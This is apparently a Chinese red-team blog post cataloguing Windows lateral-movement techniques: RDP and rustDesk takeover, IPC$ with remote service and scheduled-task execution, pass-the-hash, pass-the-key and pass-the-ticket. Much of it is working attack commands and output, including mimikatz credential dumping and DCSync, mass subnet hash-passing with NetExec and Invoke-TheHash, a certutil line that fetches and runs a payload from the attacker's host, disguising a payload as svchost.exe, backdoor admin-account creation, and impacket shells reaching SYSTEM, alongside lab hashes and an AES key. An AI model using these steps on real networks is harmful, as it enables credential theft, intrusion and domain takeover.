文章总结: 本文系统梳理内网横向移动五大途径,重点详解远程桌面、IPC$共享及PTH哈希传递攻击。剖析了IPC$基于SMB的认证原理、UAC过滤机制及利用SC服务执行命令的技巧,并解读PTH在NTLM与Kerberos协议下的底层流程。实战建议优先抓取本地凭据,结合密码喷洒与PTH快速扩大战果。 综合评分: 86 文章分类: 内网渗透,红队,渗透测试,实战经验
内网横向手法汇总
原创
Heihu577 Heihu577
Heihu Share
2026年7月27日 23:05 上海
在小说阅读器读本章
去阅读
内网横向
-
介绍 & 方式
-
通过远程桌面进行横向移动
-
RDP 横向
-
todesk 横向【老姿势,不再记录】
-
gotoHTTP 横向【推荐】
-
rustDesk 横向【推荐】
-
IPC$ 横向移动【Windows 默认开启】
-
介绍
-
共享案例
-
主动建立 IPC$ 认证
-
IPC 利用条件 & 前提
-
不同用户 IPC$ 下的命令权限
-
PTH 传递攻击
-
攻击原理 & 利用条件
-
不同用户 PTH 攻击
-
批量 PTH 传递 & PTH 传递工具
-
PTK 密钥传递攻击
-
介绍 & 抓取 Key
-
PTK 利用条件
-
利用 PTK 进行上线
-
PTT 票据传递攻击
-
介绍 & 利用条件
-
不同域用户 PTT 权限
-
Ccache & Kirbi 票据转化
-
C2 上线
-
横向移动工具
-
psexec
-
smbexec
-
wmiexec【躲避杀软】
-
WinRM
-
Ending…
介绍 & 方式
横向移动是指当攻击者在内部网络中获得初始访问权限以后,通过相关技术扩大敏感数据和高价值资产权限的行为。通常横向移动分为如下姿势:
1、通过 WEB 漏洞(在该电脑对内网通过 fscan 漏扫等, 扫描到一些 WEB 系统, 并且知道该 WEB 系统存在漏洞并成功利用, 与外网打点思路相同)
2、通过远程桌面(该电脑曾经连接过某台电脑桌面【3389,向日葵,toDesk 等】, 该电脑曾经有 FTP/SSH 等链接记录)
3、通过账号密码(通过对该电脑信息收集, 发现高价值账号密码 或 Hash 值等, 通过 PTH/PTT/PTK 等进行 WMI/IPC$ 进行横向)
4、通过不安全的配置(发现该电脑开启了 DCSync 等配置问题, 存在委派攻击问题等)
5、通过系统漏洞(MS17010 永恒之蓝能够进行一键 RCE 的漏洞 / 域内漏洞将普通用户直接提权到域管【Windows 自己本身的漏洞】)
通过远程桌面进行横向移动
RDP 横向
远程桌面协议(RDP)是一个多通道(multi-channel)的协议,让使用者(所在计算机称为用户端或’本地计算机’)连上提供微软终端机服务的计算机(称为服务端或’远程计算机’)。
远程桌面的利用条件:
1、开启了3389端口【如果对方机器没有开启 3389, 那么可以通过注册表给对方机器打开 3389, 参考服务器信息收集 - RDP 开启 3389】
2、防火墙等安全设备没有禁止
3、网络必须相通(你能够使用 Windows 中的 mstsc 或 MacOS 中的 WindowsApp 进行链接)
4、拥有账号和密码(或者Hash)(可以是本身的账号 & 也可以是自己添加的. 同样参考服务器信息收集中的 mimikatz 章节)
todesk 横向【老姿势,不再记录】
ToDesk是一款类似向日葵的远程控制软件,但比向日葵、TV和AD更为流畅和稳定,它同样具备着内网穿透、文件传输、云端同步和流量加密等功能 有绿色精简版和全功能版两个版本,支持的系统有:Winodws/Linux/MacOS/Android/iOS。
如果在命令行界面, 可以通过在安装包中增加 /S 进行静默安装, 但是姿势太老了, 不记录了。
gotoHTTP 横向【推荐】
参考: https://mp.weixin.qq.com/s/U_rP1YJ6zeBwFY_k60Uo4Q
工具官网: http://www.gotohttp.com/goto/download.12x
使用方式很简单, 直接将安装包装上去然后执行:
rustDesk 横向【推荐】
参考: https://mp.weixin.qq.com/s/iCVe57Jn8RsTDMQX1BPY0g, 这个文章说的是三台机器:
服务端: https://github.com/rustdesk/rustdesk-server/releases(服务端选择 1.1.12 版本)【注意服务端不要开启防火墙】
客户端: https://github.com/rustdesk/rustdesk/releases/tag/1.1.9(客户端选择 1.1.9)
模拟环境如下, 在内网中搭建 rustDesk 服务器:
将 rustDesk-server 的 1.1.12 版本安装到主机 A(Server)中, 并且执行:
记住这个 Key, 后续主机 B(Client)上线使用, 向主机 B(Client)中上传 1.1.9 的版本, 将文件命名为:.\"rustdesk-host=主机A的IP地址,key=刚刚的Key.exe" --silent-install, 随后会生成一个文件:
暂且认这台机子叫做 主机 C(客户端) 吧, 其中和主机 B(客户端) 的安装过程一样, 展示一下控制客户端过程. 实际上安装到主机 A(Server 端)也行。
实际上这个文件和我们文件本体是一样的, 安装完毕之后, 运行即可链接上我们的服务器:
但是密码我们不知道是什么, 我们可以使用如下命令 kill 掉这个进程:
taskkill /f /fi "IMAGENAME eq rustdesk*"
随后修改密码:C:\Users\Administrator\AppData\Roaming\RustDesk\config
password 这里和 ID 我们给他替换掉就行, 然后再次启动 rustdesk 就会发现 id 和密码变了:
IPC$ 横向移动【Windows 默认开启】
介绍
IPC (Internet Process Connection) 共享,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。通过 ipc$ 可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。我们可以通过 net share 查看:
文件共享是指主动地在网络上共享自己的计算机文件。默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c、、e、)可以实现对这些默认共享目录的访问(如果当前主机(A)用户的账号是administrator,目标机器(B)的账户administrator和A的administrator密码相同,不需要输入密码就可以访问,默认会用本地相同的账号密码进行认证)
C:\Users\Administrator>C:\Windows\System32\net share
共享名 资源 注解
-------------------------------------------------------------------------------
C$ C:\ 默认共享(C 盘默认开启共享)
D$ D:\ 默认共享(D 盘默认开启共享)
E$ E:\ 默认共享(E 盘默认开启共享)
IPC$ 远程 IPC
ADMIN$ C:\Windows 远程管理(C:\Windows 目录默认共享)
命令成功完成。
共享案例
比如存在两台电脑:
左侧为主机 A, 右侧为主机 B, 我们访问共享很简单, 直接在目录中使用\\机器名\共享名即可:
如果当前主机(A)用户的账号是 administrator, 目标机器(B)的账户 administrator 和 A 的 administrator 密码相同, 不需要输入密码就可以访问,默认会用本地相同的账号密码进行认证。
注意: 必须使用 administrator(本地最高管理员)账号, 否则会提示“拒绝访问”. 对应参考: https://learn.microsoft.com/en-us/archive/blogs/vistacompatteam/uac-and-remote-logon
背后原理:SMB 认证时客户端把当前登录用户的 NTLM Hash 发过去,目标机器本地比对 SAM 库,Hash 一致就通过。
反之则需要输入管理员账号密码:
wireshark 抓包
接下来我们通过抓包进行查看:
双方非 administrator 的情况
这里假设机器 A & 机器 B存在相同的本地普通管理员权限账号(非 administrator), 那么能否进行直接认真呢?这里做一个实验:
提示拒绝访问…
主动建立 IPC$ 认证
一旦双方主机建立了 IPC$ 链接, 再去访问共享文件夹等操作则不再需要输入账户密码, 接下来看一下如何进行建立 IPC 链接:
========== IPC$ 连接命令 ==========
1. 工作组环境
net use \\IP\ipc$ "password" /user:"username"
2. 域环境
net use \\域名\ipc$ "域成员密码" /user:域名\域成员账号
3. 删除连接
net use \\IP\ipc$ /del
接下来来演示一下, 首先是基于 administrator 账户的 IPC$ 认证建立:
IPC 利用条件 & 前提
1. 目标开放 139、445 端口
→ 因为 IPC$ 底层走 SMB 协议,SMB over TCP 绑定 445 端口,老系统 SMB over NetBIOS 绑定 139 端口,端口不开协议不可达
2. 目标开启了默认共享
包括 IPC$ 和所有逻辑盘(C$、D$、E$……ADMIN$)
→ 因为 net use \\IP\ipc$ 建立的是连接到 IPC$ 共享,共享不存在则连接失败;C$ 等管理共享用于传文件
→ 可用 net share 查看
3. 持有目标机器的有效凭据(用户名 + 密码,或 NTLM Hash)
→ 因为 IPC$ 连接首先触发 SMB 层的 NTLM Challenge/Response 认证,没有凭据无法通过
→ 空密码被 LimitBlankPasswordUse 策略拦截,默认禁止网络登录
4. 非 RID 500 的管理员用户远程登录会被 UAC 令牌过滤
→ LocalAccountTokenFilterPolicy 默认 = 0,网络登录时 Administrators 组 SID 被移除。(参考: https://learn.microsoft.com/en-us/archive/blogs/vistacompatteam/uac-and-remote-logon)
拿到的是过滤后的低权限令牌,无法创建计划任务、写服务等操作
→ 要么用 RID 500 的 Administrator,要么改注册表或建域
当然了, 在内网中,很多电脑的 administrator 的账号密码都是一样的,可以通过抓取本地的账号密码,然后和对方的电脑建立IP连接。
有一些电脑会关闭 IPC$, 关闭以及恢复等操作如:
net share # 查看本机所有共享(包括 IPC$、C$、ADMIN$)
net share c$ /del # 删除 C 盘默认管理共享,关闭后可防止远程访问 C 盘
net share heihu577=C:\ # 自定义共享,将 C 盘根目录共享出去,共享名 heihu577
net share heihu577 /del # 删除自定义共享 heihu577
net share ipc$ # 恢复 IPC$ 共享(被删后重建)
net share admin$ # 恢复 ADMIN$ 共享(指向 Windows 目录)
关闭 IPC$ 会受如下影响:
IPC$ 删了之后:
- 文件共享(C$、ADMIN$、自己建的 wanli) → 照常访问,拷贝、上传、下载都没问题
- 命名管道 → 断了,计划任务、sc 写服务这些远程执行命令的操作全挂
简单操作案例:
当然, 如果仅保留 IPC$, 理所应当的也无法访问对方电脑上的资源.
这里再操作一波创建共享名称吧:
不同用户 IPC$ 下的命令权限
IPC$ 链接后能做什么
当连接上 IPC$ 之后, 即可拥有如下权限:
========== 文件操作 ==========
dir \\192.168.1.100\c$ # 列出目标 C 盘根目录
dir \\192.168.1.100\c$\Windows\Temp # 列出指定目录
type \\192.168.1.100\c$\Windows\Temp\1.txt # 直接读取目标上的文本文件
copy 本地文件 \\192.168.1.100\c$\Windows\Temp\ # 上传文件到目标
copy \\192.168.1.100\c$\文件 . # 从目标下载文件到本地
========== 进程与服务 ==========
tasklist /s 192.168.1.100 # 查看目标进程列表(需要管理员权限)
tasklist /s 192.168.1.100 /u Administrator # 指定用户查看
sc \\192.168.1.100 query # 查询目标所有服务
sc \\192.168.1.100 create 服务名 binPath= "路径" # 远程创建服务(横向的关键一步)
sc \\192.168.1.100 start 服务名 # 远程启动服务 → 执行 payload
========== 时间与计划任务 ==========
net time \\192.168.1.100 # 查看目标系统时间
at \\192.168.1.100 14:30 cmd /c "命令" # AT 计划任务(老系统)
schtasks /create /s 192.168.174.30 /tn 任务名 /tr "cmd /c whoami > C:\\Windows\\Temp\\whoami.txt" /sc once /sd 2026/06/14 /st 14:30 /ru SYSTEM /rp "" # schtasks 创建计划任务(通用)
schtasks /run /s 192.168.1.100 /tn 任务名 # 立即触发执行
========== 信息收集 ==========
net view \\192.168.1.100 # 查看目标共享资源
net view \\目标IP # 查看目标上的共享列表
nltest /dclist:域名 # 查看域控列表(域环境)
netstat -an | find "445" # 本机到目标的 445 连接状态
========== 连接管理 ==========
net use # 查看当前所有已建立的连接
net use \\192.168.1.100\ipc$ /del # 删除单条连接
net use * /del /y # 断开所有连接
如图:
注意图中的定时任务案例 - whoami命令执行结果我们创建时将其重定向到了C:\Windows\Temp目录中(原因是 C:/ 不可访问), 原因是有些目录需要特定的权限. 不同用户链接的 IPC$ 权限有时也会遇到目录权限问题等.
IPC$ 内网横向思路
抓取密码 & 密码尝试
在实战中使用我们可以通过 mimikatz 进行抓取一波已经拿下的A机器:
随后我们可以根据该 HASH 值拿去破解即可, 随后采用密码喷洒的方式进行内网渗透(说白了就是猜测其他机器的用户名和密码是否相同, 这里 IPC$ 的姿势最好使用 administrator 用户进行登录).
接下来创建计划任务, 不过对于计划任务来说, 我们需要在计划任务的参数中输入当前用户的账户和密码(如果当前机器登录了 administrator 则不用输入, 因为创建计划任务时默认采用当前A电脑登录的账号密码来尝试在 B电脑进行创建计划任务), 随后执行 C2 客户端即可…
疑惑 & sc 命令上线 C2
既然计划任务创建也要在参数中进行指明机器的账号和密码信息, 那么和 IPC有什么关系?实际上在老版本的系统中的命令能深刻感受到 的使用, 因为 at 命令无需输入账号密码. 除了定时任务是一个思路之外还可以利用 sc 命令进行横向:
sc \\192.168.174.30 create test binpath= "cmd.exe /c 执行的命令" # 能感受到 IPC$ 认证的案例
sc \\192.168.174.30 delete test # 删除创建的服务
sc \\192.168.174.30 start test # 启动创建的服务
如图:
成功进行命令执行, 并且底层是基于 IPC$ 的账户密码建立链接:
以及执行服务:
核心原理:
sc \\192.168.174.30 create
│
├─→先通过SMB(445)建立会话(复用net use \\IP\ipc$的认证)
│
├─→通过IPC$上的命名管道\svcctl连接到目标SCM服务
│
└─→在这个管道上跑RPC调用(SVCCTL协议)
│
└─→CreateServiceW/StartServiceW/DeleteServiceW
盘符映射
也可以利用 net use 进行盘符映射:
net use k: \\192.168.41.140\c$ # 会在本地创建 k 盘, 操作本地电脑 k 盘等于操作远程电脑 c 盘
优点就是后续可以进行本地复制之类的操作.
PTH 传递攻击
攻击原理 & 利用条件
PTH(Pass The Hash),中文叫哈希传递攻击,在NTLM和Kerberos认证中,都需要用到用户的NTLM-Hash值进行加密认证,所以我们知道了对方用户的NTLN-Hash值之后就可以使用PTH进行认证。
在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码(例如 administrator 账号, 如果是明文的可以使用 IPC$ 进行攻击, 如果是 NTLM 密文则可以使用 PTH), 因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。
简单回顾一下 NTLM HASH 远程登录的原理:
客户端 服务器
│ │
│── ① NEGOTIATE ────────────────────> │ "我想认证,这是我的能力"
│ │
│<──── ② CHALLENGE ─────────────────── │ "那你证明一下,用这个随机数"
│ (8字节随机Challenge) │
│ │
│ [本地计算] │
│ Hash("P@ss1234") │
│ 加密(Challenge, Hash) │
│ │
│── ③ AUTHENTICATE ──────────────────> │ "这是我算出来的结果"
│ (用户名 + Response) │
│ │
│ [本地验证]│
│ 同样方式 │
│ 再算一遍 │
│ │
│<─────── ④ 结果 ────────────────────── │ 通过 或 拒绝
由于 Challenge 值是服务器返回给我们客户端的, 因此这部分并不是我们要考虑的地方, 我们只需要考虑 NTLM Hash 值的部分即可. 只要我们知道对方电脑上一台用户对应密码的 Hash 值, 我们即可进行通过本地够构造流量进行认证.
而在 Kerberos 协议(域环境)中:
AS-REQ 阶段:
你现在的电脑 域控 KDC
登录账号: heihu
│
│ 你输入密码 "P@ss1234"
│ 本地算出 MD4("P@ss1234") = 31d6cfe0...
│ 这就是 heihu 这个"域账号"的 Hash
│
├──→ AS-REQ 发过去:
│ 用户名: heihu
│ 预认证: E{Hash_heihu}(Timestamp) ← 用你自己的 Hash 加密
│
│ AS 从 AD 数据库查出 heihu 的 Hash
│ 解密 → 验证时间戳 → 确认你就是 heihu
│
│ ←── AS-REP 返回 TGT
我们同样只需要 HASH 值, 即可参与协议运算, 因此 PTH 在工作组环境和域环境中同样适用.
其中利用条件如下:
1. 知道对方的 NTLM Hash — 没 Hash 一切免谈
2. 目标开了能用 NTLM 认证的服务端口(445 / 135 / 5985 等,其中至少有一个开着)
3. 目标账号是管理员权限(用普通域用户 Hash 登录上去用处有限,除非只为了读共享)
那具体哪种账号能够进行 PTH 攻击呢?
域管理员administrator
普通域管理员(domain admin组中的用户)
普通域用户
本地管理员administrator
本地普通管理员
本地普通用户
这些组内的用户是否能进行 PTH 攻击?
不同用户 PTH 攻击
工作组场景【mimikatz 案例】
在受害机中创建如下 bat 脚本:
@echo off
net user administrator /active:yes
net user administrator Qazwsxedc123!
net user oneuser Ewqdsacxz123! /add
net localgroup administrators oneuser /add
net user test 1qaz@WSX3edc /add
会进行测试: 本地超级管理员, 本地普通管理员, 本地普通用户. 这三种场景, 创建完毕之后:
使用 mimikatz 进行抓取 SAM 文件中的密码信息:
RID : 000001f4 (500)
User : Administrator
Hash NTLM: d442a45ad0f94d5ab5101de9a010538b
RID : 000001f5 (501)
User : Guest
RID : 000003e8 (1000)
User : heihu577
Hash NTLM: d442a45ad0f94d5ab5101de9a010538b
RID : 000003e9 (1001)
User : oneuser
Hash NTLM: 89918a25916d0e9acde6a6642df47e2c
RID : 000003ea (1002)
User : test
Hash NTLM: 7ecffff0c3548187607a14bad0f88bb1
随后我们可以在攻击机(与受害机处于同一局域网)中使用 mimikatz 进行 HASH 传递攻击:
privilege::debug
sekurlsa::pth /user:administrator /domain:域名或者IP /ntlm:ntlm-hash
本地超级管理员 HASH 传递效果:
注意: 如果 PTH 传递成功, 那么弹出来的命令框仍然需要进行手动链接(并不是已经 shell 了).
本地普通管理员 HASH 传递效果:
注意: Windows 2003 等老机器使用本地普通管理员可以进行攻击.
本地普通用户 HASH 传递效果:
普通用户均无法利用 PTH 进行攻击.
域场景【psexec 案例】
额外准备一个域内普通管理员, 域内普通用户:
使用 mimikatz 读取 ntds.dit 中的 hash, 随后进行传递实验:
mimikatz # lsadump::dcsync /domain:heihu577.com /all /csv
500 Administrator d442a45ad0f94d5ab5101de9a010538b 512
1113 heihu577_test 83a3b1af4f0c1ee9a2df504eac08aec3 512
1105 zs cd8395f40ea0573474653cc96b40195f 66048
这里使用 psexec 做演示, psexec 在 impacket 包中有提供. psexec 进行横向格式:
psexec.exe 域名/用户名@需要横向的主机IP或全体域名 -hashes LMHASH(可留空):NTLMHASH
最终结果:
与本地管理员唯一的区别就是: 使用域内普通管理员仍然可以进行横向, 但是使用本地普通管理员会遇到 UAC 认证.
批量 PTH 传递 & PTH 传递工具
Invoke-TheHash
github: https://github.com/Kevin-Robertson/Invoke-TheHash, 该工具纯 powershell 脚本, 适合目标机器无法落地 exe 文件使用.(但实际上如果能上隧道也不会用该工具)
其中:
该脚本支持批量验证 HASH, 其他脚本均不支持. 使用方式:
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force # 临时绕过策略禁止执行的脚本
Import-Module .\Invoke-TheHash.ps1 # 导入批量模块
Import-Module .\Invoke-WMIExec.ps1 # 导入 wmi 模块
Invoke-TheHash -Type WMIExec -Target 192.168.41.0/24 -Username administrator -Hash 570a9a65db8fba761c1008a51d4c95ab # 批量 PTH 检测
最终效果:
可以看到的是, 这三台机器的 administrator 的密码是相同的, 表示可以进行 HASH 传递. 如果只能执行一条命令, 可以执行如下命令:
powershell -exec bypass -command "&{import-module .\Invoke-TheHash.psd1;Invoke-TheHash -Type WMIExec -Target 192.168.174.0/24 -Username administrator -Hash d442a45ad0f94d5ab5101de9a010538b}"
如果拿到的是域用户, 那么就没必要测试了, 如果拿到的是域管账户, 那么就没必要测试了…
NetExec
github: https://github.com/Pennyw0rth/NetExec, 安装在攻击机上:
git clone https://github.com/Pennyw0rth/NetExec (一定要用 git clone)
cd NetExec
pip install .
安装完毕后:
heihu577@heihu577s-MacBook-Pro NetExec % nxc --version
1.5.1 - Yippie-Ki-Yay - 0fbff80d - 369
实战使用通常在攻击机中搭配隧道使用, 使用方式可以参考: https://blog.csdn.net/2301_79518550/article/details/147592119 & https://mp.weixin.qq.com/s/rwj-ej3P-ZYRHKLE4U3ezg & 官方文档: https://www.netexec.wiki/
简单进行 PTH 传递:
nxc smb 192.168.174.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:d442a45ad0f94d5ab5101de9a010538b'
批量执行命令:
批量上线 C2
使用:
nxc smb 192.168.174.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:d442a45ad0f94d5ab5101de9a010538b' --put-file ~/Downloads/abc.exe \\Users\\Public\\svchost.exe --share C$
能够进行批量上传文件, 但是遇到隧道可能会出现问题, 这里更换成批量 certutil 出网下载然后执行:
nxc smb 192.168.174.0/24 -u administrator -H d442a45ad0f94d5ab5101de9a010538b --continue-on-success -x "certutil.exe -urlcache -split -f http://攻击机IP:2333/abc.exe C:\Users\Public\abc.exe && C:\Users\Public\abc.exe"
批量上线结果:
nxc 唯一弊端就是只能执行单条命令, 如果想要执行多条, 使用 PsExec 即可:
heihu577@heihu577s-MacBook-Pro examples % python psexec.py [email protected] -hashes :d442a45ad0f94d5ab5101de9a010538b
Impacket v0.14.0.dev0+20260317.95020.1049826e - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 192.168.174.30.....
[*] Found writable share ADMIN$
[*] Uploading file aWsJTvOs.exe
[*] Opening SVCManager on 192.168.174.30.....
[*] Creating service ebZF on 192.168.174.30.....
[*] Starting service ebZF.....
[!] Press help for extra shell commands
[-] Decoding error detected, consider running chcp.com at the target,
C:\Windows\system32> whoami
nt authority\system
mimikatz 上线 C2
当然也可以通过 mimikatz 来进行上线, 在 mimikatz 中创建 IPC$ 链接, 使用 copy 命令, 随后创建计划任务进行上线:
sekurlsa::pth /user:administrator /domain:域名或IP /ntlm:HASH 值
Impacket
github: https://github.com/fortra/impacket
impacket 使用方法: https://blog.csdn.net/2301_79518550/article/details/147621739
使用该工具, 我们可以通过 PTH | 明文密码 | PTK 攻击.
# 成功执行 - 获得半交互式shell
python wmiexec.py [email protected] -hashes :d442a45ad0f94d5ab5101de9a010538b
# 成功执行 - 单条命令
python wmiexec.py [email protected] "whoami" -hashes :d442a45ad0f94d5ab5101de9a010538b
# 成功执行 - 获得system权限shell
python psexec.py [email protected] "whoami" -hashes :d442a45ad0f94d5ab5101de9a010538b
# 成功执行 - 获得半交互式shell (system权限)
python smbexec.py [email protected] -hashes :d442a45ad0f94d5ab5101de9a010538b
效果:
利用 PTH 登录 RDP【记录在服务器信息收集中】
PTK 密钥传递攻击
介绍 & 抓取 Key
PTK(Pass The key),中文叫秘钥传递攻击,PTH传递中,使用的是NTLM-HASH值,PTK使用AES256或者AES128的方式进行传递,PTK攻击只能用于kerberos认证中,NTLM认证中没有。
在这张图中我们可以看到, 在 Kerberos 认证中, 针对于 AS-REQ 实际上是 HASH 或者 AES KEY. 因此在 kerberos 认证中我们可以使用 PTK 进行攻击.
AES KEY 是 kerberos 协议中使用的,所以一般域用户才有 AES KEY,AES 分为两种 aes256 和 aes128,本地用户没有 aes key。
为什么使用 PTK?
- ntlm 被禁用
很多安全加固过的环境里,域控策略把 NTLM 认证彻底关了(”Network security: Restrict NTLM”),或者只允许 Kerberos。这时候你拿着 hash 也没用,PTH 直接报 STATUS_NTLM_BLOCKED,只能用 PTK 走 Kerberos。
- RC4 被禁掉了
AES 是 Kerberos 的推荐加密类型,很多环境禁了 RC4-HMAC。PTH 底层用的就是 RC4,RC4 一关 PTH 废了,必须用 AES key 做 PTK 去申请 TGT。
- 只有AESkey没有NTLMhash
看数据时发现只拿到 AES256 key(比如 DCSync 或者某些票据里),没有 NTLM hash 或者 hash 对不上,PTK 是你唯一的路。
测试「是否存在 AES-KEY」「mimikatz 案例」
测试命令:
mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::ekeys"
这里挑选一台没有加入域内的一台机器进行查看:
| 电脑版本 | 是否存在AES | | — | — | | 2008R2(没有加入域) | 系统中没有AES | | 2012R2(没有加入域) | 系统中没有AES | | 2016R2(没有加入域) | 系统中没有AES | | 2008R2(加入域) | 存在AES | | 2012R2(加入域) | 存在AES | | 2016R2(加入域) | 存在AES |
效果:
这里抓到的 administrator 域管理员账号的 hash: 76dc43ab438a6ff369734985b7cd594b43fb6bd534fd9a1461ae247b7b602e66
PTK 利用条件
1、必须是域环境,使用域账号才可以进行PTK
2、支持aes进行认证(域控必须支持)
另外, 微软发布了安全补丁 KB22871997, 对于该补丁的说明: https://www.freebuf.com/column/220740.html
该补丁安装完毕后, 会在域内启用ProtectedUsers 组, 我们可以从 WindowsServer2012 以及之后的版本中看到(在之前的版本需要主动安装补丁, server2012 及以后默认安装):
该组在 2008 Server 域控中是不存在的, 除非打了 KB22871997 补丁才会存在.
wmiexec PTK 攻击
这里使用 mimikatz 会认证失败, 因为 mimikatz 中的实现实际上还是基于了 NTLM, 这里使用 impacket 包中的 wmiexec:
python wmiexec.py heihu577.com/[email protected] -aesKey 76dc43ab438a6ff369734985b7cd594b43fb6bd534fd9a1461ae247b7b602e66 -dc-ip 192.168.174.10
但在执行之前需要在攻击机中配置 /etc/hosts:
配置完毕之后, 配合 Proxifier 的 192.168.174.* 的规则可以进行 PTK 攻击:
heihu577@heihu577s-MacBook-Pro examples % python wmiexec.py heihu577.com/[email protected] -aesKey 76dc43ab438a6ff369734985b7cd594b43fb6bd534fd9a1461ae247b7b602e66 -dc-ip 192.168.174.10
Impacket v0.14.0.dev0+20260317.95020.1049826e - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] SMBv3.0 dialect used
[-] CCache file is not found. Skipping...
[-] CCache file is not found. Skipping...
[-] CCache file is not found. Skipping...
[-] CCache file is not found. Skipping...
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
heihu577\administrator
需要注意的是, PTK 攻击实际上是 kerberos 认证, 对于 kerberos 认证必须使用域名的形式进行认证. 这里必须加上 -dc-ip 参数的含义:
我们观察一下 smbexec 与 正常域控认证 中 AS-REQ 类型的变化:
这里显然使用了eTYPE-AES256-CTS-HMAC-SHA1-96, 而不是之前的eTYPE-ARCFOUR-HMAC-MD5.
利用 PTK 进行上线
PTK本质上也是一种认证,本身不具有攻击性,如果是一些特殊账号的KEY被我们知道利用PTK传递攻击,我们可以生成对应账号的TGT票据,原因是 AS-REP 的过程如下:
AS-RESP:
你 (heihu) 域控 KDC (AS)
│ │
│ ←──────── KRB_AS_REP ───────── │
│ │
│ 块① TGT = E{Hash_krbtgt}( │ ← 用 krbtgt Hash 加密
│ heihu + │
│ Session_Key_TGT + │
│ PAC + │
│ 有效期) │
│ │
│ 块② CT_SK = E{Hash_heihu}( │ ← 用你自己的 Hash 加密
│ Session_Key_TGT) │ ✅ 你能解开
│ │
│ │
│ [你本地] │
│ 用自己的 Hash 解密第②块 │
│ → 拿到 Session_Key_TGT 明文 │
│ → 第①块 TGT 不解,直接存着 │
PAC = Privilege Attribute Certificate(特权属性证书),装的是:
- SID → S-1-5-21-xxx-xxx-xxx-1104 (就是 heihu)
- 所在的组的 SID → Domain Users (S-1-5-21-xxx-513) 以及 Domain Admins (S-1-5-21-xxx-512)
- 签名 → 用 krbtgt Hash 签的,防你篡改
未来拿着票据去访问`目标服务器`时, 目标服务器读取 PAC,确定来访用户的身份和权限。
由于 AS-REP 返回的是 TGT, 我们可以将 TGT 导入到内存中,就可以访问对方的电脑。
getTGT 申请 TGT & 注入过程 & 上线 C2
这里可以使用 getTGT 工具申请 TGT,然后将 TGT 导入内存中,实现对目标机器的访问,后续可以配合计划任务,或者其他的工具进行上线。
python getTGT.py heihu577.com/[email protected] -aesKey 76dc43ab438a6ff369734985b7cd594b43fb6bd534fd9a1461ae247b7b602e66 -dc-ip 192.168.174.10
随后使用 mimikatz 进行注入:
本质上这个也是一种黄金票据, 只不过是通过aesKey正向生成的. 随后通过正常的计划任务流程即可上线.
MacOS 生成票据随后导入失败过程【需查清楚原因】
最终结果:
这里会在本地生成 ccache 文件. 该文件可以导入内存. 可以使用 mimikatz 中的 PTC 进行导入, 如果导入遇到版本问题需要转换 (工具在 impacket 包中):
python ticketConverter.py [email protected] administrator.kirbi
转换后的需要使用kerberos::ptt进行导入内存.
这里导入内存的工具实际上也有很多, 例如: kekeo Rubeus getTGT PS,mimikatz 等等… 这里选择 mimikatz, 导入内存的方法:
kerberos::ptc ccache文件名称(需要放到当前目录中)
kerberos::ptt kirbi文件名称(ccache 如果导入不进去需要使用转换格式后的)
这里最终导入失败了… 后续查询原因.
PTT 票据传递攻击
介绍 & 利用条件
PTT(Pass The Ticket),中文叫票据传递攻击,PTT攻击只能用于kerberos认证中,NTLM认证中没有,PTT是通过票据进行认证的,我们回顾一下 KERBEROS 认证的流程。
在 kerberos 认证流程中, AS-REQ 会向 AS 认证服务器请求来证明自己的身份信息, 请求成功后会获得 AS-REP 所返回的 TGT 票据, 而这个 TGT 票据会向 TGS 进行发送, TGS 收到 TGT 后,会验证 TGT 的签名和有效期,确认无误后返回 ST 票据.
所以这里实际上存在两种票据, 分别为: TGT 票据 & ST 票据. 它们的作用分别如下:
TGT(票据授予票据):证明你是谁
- 用来向 TGS 换 ST 的"身份证"
- 有了 TGT 不需要反复输密码,10 小时内有效
- 加密密钥是 KRBTGT Hash(只有 DC 知道)
- 拿到 TGT ≠ 访问任何服务,只是拿到了"买票资格"
ST(服务票据):证明你有权访问某个服务
- 用来向目标服务发起 AP-REQ 的"门票"
- 每访问一个服务就要申请一张,贴在请求里
- 加密密钥是目标服务账户的 Hash(只有 DC 和该服务自己知道)
- 拿到 ST = 真的能进那个服务
如何得到 TGT 和 ST?
正规途径【kerberos 中默认支持】:
1、可以通过域账号明文密码(通过 mimikatz, 信息收集, 爆破...)
2、可以通过域账号的 NTLM-HASH (在 AS-REQ 阶段中, 我们可以通过 NTLM HASH 值加密进行参与 kerberos 中的认证机制)
3、可以通过域账号的 ASE (若 NTLM-HASH 不能使用, 那么可以通过账户的 AES 进行认证【参考 PTK】, 因为 AES 也支持认证)
其他途径:
4、可以直接伪造(凭空捏造一张 TGT【黄金票据】/ST【白银票据】, 不再参与 kerberos 认证的手段进行创建 TGT【黄金票据】/ST【白银票据】)
5、可以通过系统漏洞(通过漏洞直接生成 TGT)
6、本身系统中就存在票据
那么这几种攻击手法如下:
- PTH: 用NTLM-HASH值进行认证-支持kerberos和NTLM认证
- PTK: 用AES值进行认证-只能用于kerberos认证
- PTT: 用票据进行认证-只能用于kerberos认证
而对于 PTT 来说, 如果要进行利用, 那么需要如下条件:
- 必须是域环境, 域内才可以进行 PTT
- 必须拥有相应的票据(主要是域管的票据)
不同域用户 PTT 权限
在这里准备了三个用户进行尝试:
C:\Users\Administrator\Desktop\mimikatz\x64>C:\Windows\System32\net user heihu577_test | findstr "Global Group memberships"
Local Group Memberships
Global Group memberships *Domain Admins *Domain Users
C:\Users\Administrator\Desktop\mimikatz\x64>C:\Windows\System32\net user heihu577 | findstr "Global Group memberships"
